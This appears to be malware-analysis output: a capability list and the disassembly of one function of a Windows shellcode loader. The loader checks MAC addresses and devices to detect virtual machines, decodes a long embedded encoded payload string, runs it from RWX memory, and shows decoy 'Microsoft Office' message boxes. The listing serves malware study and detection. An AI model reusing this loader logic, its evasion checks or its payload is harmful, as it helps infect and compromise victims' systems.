Function at 0x140002c10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get mac address on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rsp + 0x780], rbx
xor r13d, r13d
mov dword [rbp + 0x698], r13d
lea rdx, [0x140001a70]
lea ecx, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.140001bb0
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 0x19]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
movdqa xmm0, xmmword [0x140013420]
movdqu xmmword [rbp - 0x28], xmm0
mov word [rbp - 0x38], r13w
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r13w
jne 0x140002c93
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x38]
call fcn.1400022b0
mov dword [rbp + 0x698], 1
lea r8, str.Acrobat_Reader_DC.lnk
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.140001040
nop
lea r8, str.Acrobat_Reader_9.lnk
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x40]
call fcn.140001040
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rcx, qword [rbp - 0x78]
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rdi, 0xffffffffffffffff
jne 0x140002dcd
cmp rax, rdi
jne 0x140002dcd
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002d72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003739
call fcn.140003b3c
movdqa xmm0, xmmword [0x140013420]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r13w
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140002dc6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000373f
call fcn.140003b3c
mov bl, 1
jmp 0x140002e77
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002e21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003745
call fcn.140003b3c
movdqa xmm0, xmmword [0x140013420]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r13w
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140002e75
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000374b
call fcn.140003b3c
xor bl, bl
mov rdx, qword [rbp - 0x20]
cmp rdx, 8
jb 0x140002eb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003751
call fcn.140003b3c
test bl, bl
je 0x1400036fa
mov qword [rsp + 0x60], r13
mov ecx, 0x2c0
call fcn.140003b00
mov rbx, rax
test rax, rax
je 0x140002ee8
xor edx, edx
mov r8d, 0x2c0
mov rcx, rax
call fcn.1400056b0
jmp 0x140002eeb
mov rbx, r13
mov dword [rbp + 0x690], 8
lea rdx, [rbp + 0x690]
mov rcx, rbx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x140002f33
mov edx, 0x2c0
mov rcx, rbx
call fcn.140003b3c
mov ecx, dword [rbp + 0x690]
call fcn.140003b44
mov rbx, rax
lea rdx, [rbp + 0x690]
mov rcx, rax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
xor dil, dil
test eax, eax
jne 0x140002f4b
test rbx, rbx
je 0x140002f9b
mov rdi, qword [rbx + 0x198]
mov qword [rsp + 0x60], rdi
test rbx, rbx
je 0x140002f5d
mov edx, 0x2c0
mov rcx, rbx
call fcn.140003b3c
test dil, dil
jne 0x140002f9b
movzx eax, byte [rsp + 0x61]
cmp al, 5
jne 0x140002f79
cmp byte [rsp + 0x62], 0x69
jne 0x140002f9b
mov esi, 1
jmp 0x140002f9e
cmp al, 0xc
jne 0x140002f8b
cmp byte [rsp + 0x62], 0x29
jne 0x140002f9b
mov esi, 1
jmp 0x140002f9e
cmp al, 0x50
jne 0x140002f9b
cmp byte [rsp + 0x62], 0x56
mov esi, 1
je 0x140002f9e
mov esi, r13d
mov ebx, r13d
mov r9d, 6
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SETUPAPI.dll_SetupDiGetClassDevsA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140003048
xor edx, edx
mov dword [rbp - 0x18], 0x20
lea r8, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.SETUPAPI.dll_SetupDiEnumDeviceInfo]
test eax, eax
je 0x14000303c
inc ebx
lea rax, [rbp + 0x690]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x400
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8d, 4
lea rdx, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
je 0x140003031
lea rdx, str.VBox
lea rcx, [rbp + 0x240]
call fcn.1400049b0
test rax, rax
jne 0x140003035
mov edx, ebx
jmp 0x140002fc3
mov ebx, 1
jmp 0x14000303f
mov ebx, r13d
mov rcx, rdi
call qword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
test esi, esi
je 0x1400036fa
test ebx, ebx
jne 0x1400036fa
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], bl
mov r8d, 0xd8c
lea rdx, str.lo488lhbA3m4l0LfTJm8o8003XC00000maI3415146f87150520BwY51564evtc831n2L9IT6548899nAp5260f8KO488p5WFXK21848iYNB8p522TtdP0488pZ0Xd725040kIg80lp7xgfO4t4t4iWOtn31o9dJyL4831oZHYn0to3o0ayT617o0eyc722o20X6Bz41o1oDJfe90n41jof501o1mM8yT2mn52M53O41514Oe8d88p52MvHM208p4DmeV23o48wIVk01n06NzPY68178X1eH180p05UEa27572i8xM8p808xyOa80000CAwN00488031w5o0744iJx67480zp4T1n050gJU88p481BLal8448pLJDL402043PjY901n0lmFem3564GHAD8llo9gpzf418p3507648848Tm7901n644Uzkn31o9tXvw4831oUaB50to41j3dHo1o90hf2Yn4101dUi6o138mDcj8075l1D1Ve4o03467oZo2408DXtY4539n8xTO175n8pLxY58448vDOPp4024YZbN4901n2jpP06641xfLL8p0o4T6A78448pmOyN401o4jVNg901n0JAHc418p0LcOp48848o9HX01n04dekX158415M0X585m5Ap4P95t418YP558415FHme9415tXtcE4883mM2IIo2041vyP452llm2XUm05841zTVC595t4malJ88p12TL3km94llj1ZzlllllPzxc5n6t0Dza2049pmjKMh77696xP2Em696mj1Jo65740niyy04156KYzA4989mhLTU64o89Z41Al141pbKgft4o77eYTJ2607lFDWdln548vDCT31o94LA3E831n2kFyT4n31oWXvT04n31hyL3o9415E1xh04150bKa141pt3x2iOt5679Z2IWt7llnjF7X5m993LjwF00000WoNG05t48GyTY89o14W3Af1p8ppyOaY010008IfY04n31AhIZo9415PZGb14151lnZP6t034fIkD151410fkopt578NWxY99lo6PUjvlln5mD2vXp795pA5Zg4889oN6lT14831zJ27n2498JBfW9n84n9J1N31o95KC8O26800iBl332o08YNtZ452526dfe41ptmEmyfp552mvcyj3pllnVDeT548898M9lo6488PVgP3o350G6Ph6t0t573ptl48893l0zl1pt17N1Vl0000BAW9006t0UYvt06880mCfw33000yZIG04989BXXfm041pXZz790400DVOb00004XAYA1pt75t4gZ469m85MgV6lln5DUhj4889lyh2V14889n6Zvnt49oBhdh7o0lleNdxlllllmYK2l4n31vNM9o9525ygbv241pt5lcC2n0618zFz87pllJdZYn585oZxnP00l85cjiF9n010zgtl00048F380llol0leaOl848oylXM01000LxoZ0mpp34JKom9m40gEDV10000ZtXlm882lTkKflllllgbOH2l626kX2Xl6l741JF873747xKio26170CFnH2n322FcXFm6n69fLYx6m2m6Tw4Ft73004yZLmln8pyXWhm0l93jYn10np12Bixbm116oZxpFm6014IOVMpnl1owLzDpp0t6khja1575moVOk04247nO0O4l6mmmKgDo0083wy4T8758nMyCHtp5l2AP7K5o1n2EzPD7m297ZcT7pn431gMYT45434XMLT04m46Ecfh784702ywUt6o35yc3A8pmtnxHHW1n7o6H0Ki963t2EjmIl0500yDX9557360Tp45722nd03T41676KZUl56m74kNml3t204mvZmn6l7tDmoB696o6d1aZo612l4XNz352m38ioG02028VyUi636l69KF3n7061CWfN74696YWaX26o65gw2o3p204e3cmn5349Ui5X45203n3XB82m30KkOj3p205AEz47696mBxkU646l7XEKv773207M8K4m542x8ID0362m2v1c313p2aCVZ05472dXU769646pdwa56m74gFZ92l352cwdom3029VF550n0t0gO3I05494xZbL517l7dKxv02t732Vccnp9n0W7Zcm71m7J8E235lp3kYD8754m0DfAMl5n21wXZV4p6ltLz4L0p18p5H54254649aLN74polYaO28t67t8xMV3n0ttezhF8151pFCoNm990lltLy64203c7bdpo6poT3Ez6oo26Hekh1o355NXyb1tlm2eJwNtl1t0jPGB6461pXlXi168ppiXdkm1nt2xGe7o3l01gb4X9n7l0ytZV7158lHZxT5o67pX4hx8p793JZ74o4196de7l518noZYJx779l0lLLpot82mvTl8ln002ZgvX0l049GpH5514m1eYiF09447WzM264mt7PMOF82648HwaNln070UaP0506p3nbTt0ot2p3PB41mp9ppNyY9mlp5egwFm01o8tHZ89p7ltyvUV58on9cZah776mtFdpZ624o18yze016pmvXx413p59b9pe8ml649CiDtl4n7BGgwtnt91caVdn091opxTP9l004Yjy2on11nk4n04n3ppc0xZp0ml3d75969ltt2OjG60oo3xtY875mo7Z0KYnp602Ypcpn0o741MDF972llbUXf1009nDKyYl96m5Yizyt1po2Vg1V604p0ZhoY3p360DaZzlmmtti6VL8n2011ZGE33mn8IO7fn0l7nIkMd44n27iXg0o727mEGzEnm184ltFL3otpo8z2ct963o8DJF7p6l9fFHDl1p0mdjYZm708lzVF206394Thzf9432mYHiz8mon4bxUf163nlUexM224tn91U52t209YHyGnom28UezYo00410pHYpml0pdtzl5t256CPEilln54pf1x831o9zejGpt000ZCz504000ypjY41p80Xb9T01000LLDX0041pXUdK94000NKzZ00004YYXn1pt58wnlXt453mX3n95lln5BJ0J48935yXDL35348n1Ln89m74lxx9889l1HaOg4889nnAiot41p8Hbgx002005yXo00049Kv6A89l94ZpFc1pt12EiB39689mX1EX2lln5cczZ4883og93y42085I8PDo074pOJGl6668pyfHT07480YG2K1o385x16yo075neA7A75858NC1x58480XfKn50000X8vY00005g6hK0o3m84ecX7llnl91UUlll73TFmg657273JvW66963V7hJ652n6i5O213768VBmi34783Axty9386liLpW2n313ziTg23537XFPG37383wWiy33838xheZ362m6LHzZ77t2magLy74656NkzAm6365Zxgp6m7466ie917069aTkm67772e8xWm636lzgoZ6n2m6tLpV36m001ape3tnm651o08p1
lea rcx, [rsp + 0x68]
call fcn.140002160
nop
call fcn.1400082ac
mov ebx, eax
call fcn.1400082ac
sub eax, ebx
cmp eax, 0x7d0
jl 0x140003088
mov r9d, 0x10
lea r8, str.Microsoft_Office
lea rdx, str.Word
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400082ac
mov ebx, eax
nop dword [rax]
call fcn.1400082ac
sub eax, ebx
cmp eax, 0x1388
jl 0x1400030c0
movdqa xmm0, xmmword [0x140013430]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov r8d, 0x2e
lea rdx, str.zyxwvutponmlkjihgfedcbaZYXWVUTPONMLKJIHGFEDCBA
lea rcx, [rbp - 0x18]
call fcn.140002160
nop
lea rax, [rbp - 0x58]
mov qword [rbp + 0x690], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x58]
call fcn.140001250
mov rbx, rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x10]
call fcn.140001250
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400023e0
mov rbx, rax
lea rax, [rsp + 0x68]
cmp rax, rbx
je 0x140003167
lea rcx, [rsp + 0x68]
call fcn.140001330
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400031a5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000319f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003757
call fcn.140003b3c
nop
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
xor r8d, r8d
lea rdx, [0x140012488]
lea rcx, [rbp - 0x58]
call fcn.140002160
mov dword [rbp + 0x698], 0x11
lea r14, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r14, qword [rsp + 0x68]
mov rsi, r14
lea rcx, [rsp + 0x68]
cmovae rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov r15, rdx
sub r15, r14
cmp r14, rdx
cmova r15, r13
test r15, r15
je 0x1400032b4
mov r12d, 0x41
movsx ebx, byte [rsi]
mov edi, ebx
mov ecx, ebx
call fcn.140008168
test eax, eax
je 0x140003262
mov ecx, ebx
call fcn.1400081e4
mov ecx, eax
mov eax, 0x61
test ecx, ecx
cmovne eax, r12d
sub edi, eax
add edi, 0x14
mov eax, 0x4ec4ec4f
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
mov ebx, edi
sub ebx, eax
mov eax, 0x61
test ecx, ecx
cmovne eax, r12d
add bl, al
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
cmp rcx, rdx
jae 0x14000328e
lea rax, [rcx + 1]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x58]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x58]
mov byte [rax + rcx], bl
mov byte [rax + rcx + 1], 0
jmp 0x1400032a2
movzx r9d, bl
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x58]
call fcn.1400010f0
inc rsi
mov rax, rsi
sub rax, r14
cmp rax, r15
jne 0x140003214
lea rcx, [rsp + 0x68]
call fcn.140001330
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rbp - 0x48]
movups xmmword [rsp + 0x78], xmm1
mov rbx, r13
mov qword [rsp + 0x50], rbx
mov r15d, 0xf
mov qword [rsp + 0x58], r15
mov byte [rsp + 0x40], bl
mov dword [rbp + 0x698], 0x29
mov r14d, r13d
mov edi, r13d
movq r12, xmm1
test r12, r12
je 0x1400033a2
mov rsi, r13
mov r13, qword [rbp - 0x40]
nop dword [rax]
mov eax, 0x66666667
imul r14d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
cmp r14d, ecx
jne 0x140003335
test r14d, r14d
je 0x140003335
add edi, 4
add rsi, 4
lea rax, [rsp + 0x68]
cmp r13, 0x10
cmovae rax, qword [rbp - 0x58]
movzx r9d, byte [rax + rsi]
cmp rbx, r15
jae 0x140003370
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp r15, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rbx], r9b
mov byte [rax + rbx + 1], 0
jmp 0x140003381
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.1400010f0
inc r14d
inc edi
inc rsi
movsxd rax, edi
mov r15, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
cmp rax, r12
jb 0x140003310
xor r13d, r13d
lea rcx, [rsp + 0x68]
call fcn.140001330
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rsi, [rsp + 0x68]
movq r12, xmm1
cmp r15, 0x10
cmovae rsi, r12
cmp rbx, 0x10
jae 0x1400033f8
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x58], 0xf
jmp 0x140003478
mov rdi, rbx
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
cmova rdi, rax
lea rax, [rdi + 1]
cmp rax, 0x1000
jb 0x14000344d
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.140003b00
mov rcx, rax
test rax, rax
je 0x14000375d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000345f
test rax, rax
je 0x14000345c
mov rcx, rax
call fcn.140003b00
jmp 0x14000345f
mov rax, r13
mov qword [rsp + 0x40], rax
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140005250
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140001250
mov r9, rax
mov edx, 1
lea r8d, [rdx + 1]
lea rcx, [rbp - 0x38]
call fcn.1400015f0
nop
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rbp + 0x698], rax
mov r14, qword [rsp + 0x50]
lea ecx, [r14 + 0xb]
mov eax, 0x2aaaaaab
imul ecx
mov ebx, edx
sar ebx, 1
mov eax, ebx
shr eax, 0x1f
add ebx, eax
mov dword [rbp + 0x690], ebx
lea eax, [r14 + 1]
movsxd rdx, eax
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov ecx, dword [0x14001da7c]
mov r8d, dword [0x14001dad8]
add ecx, 0xffffffc6
add r8d, ecx
mov edx, r14d
mov rcx, rax
call fcn.140002630
mov edx, 0x64
lea rcx, [rbp - 0x78]
call fcn.140002700
nop
test r13, r13
je 0x1400035af
xor edi, edi
xor esi, esi
test ebx, ebx
jle 0x14000359d
mov eax, 0xc
nop word [rax + rax]
mov ebx, r14d
sub ebx, edi
cmp ebx, 0xc
cmovg ebx, eax
movsxd rax, edi
movsxd r8, ebx
mov rdx, qword [rbp + 0x698]
add rdx, rax
lea rcx, [rax + r13]
call fcn.140005250
add edi, ebx
cmp edi, r14d
jge 0x14000357c
inc esi
cmp esi, dword [rbp + 0x690]
mov eax, 0xc
jl 0x140003540
jmp 0x14000359d
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
lea rcx, [r13 + 0x3e8]
mov r8, qword [rbp - 0x68]
call fcn.140005250
call r13
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x1400035ea
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003763
call fcn.140003b3c
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140003639
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003769
call fcn.140003b3c
movdqa xmm0, xmmword [0x140013430]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140003688
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000376f
call fcn.140003b3c
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1400036c4
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003775
call fcn.140003b3c
nop
cmp r15, 0x10
jb 0x140003713
lea rdx, [r15 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400036f0
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003733
mov rcx, r12
call fcn.140003b3c
jmp 0x140003713
xor r9d, r9d
lea r8, str.Microsoft_Office
lea rdx, str.Word
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
mov rbx, qword [rsp + 0x780]
add rsp, 0x740
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
int3
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
nop
call fcn.140007bfc
int3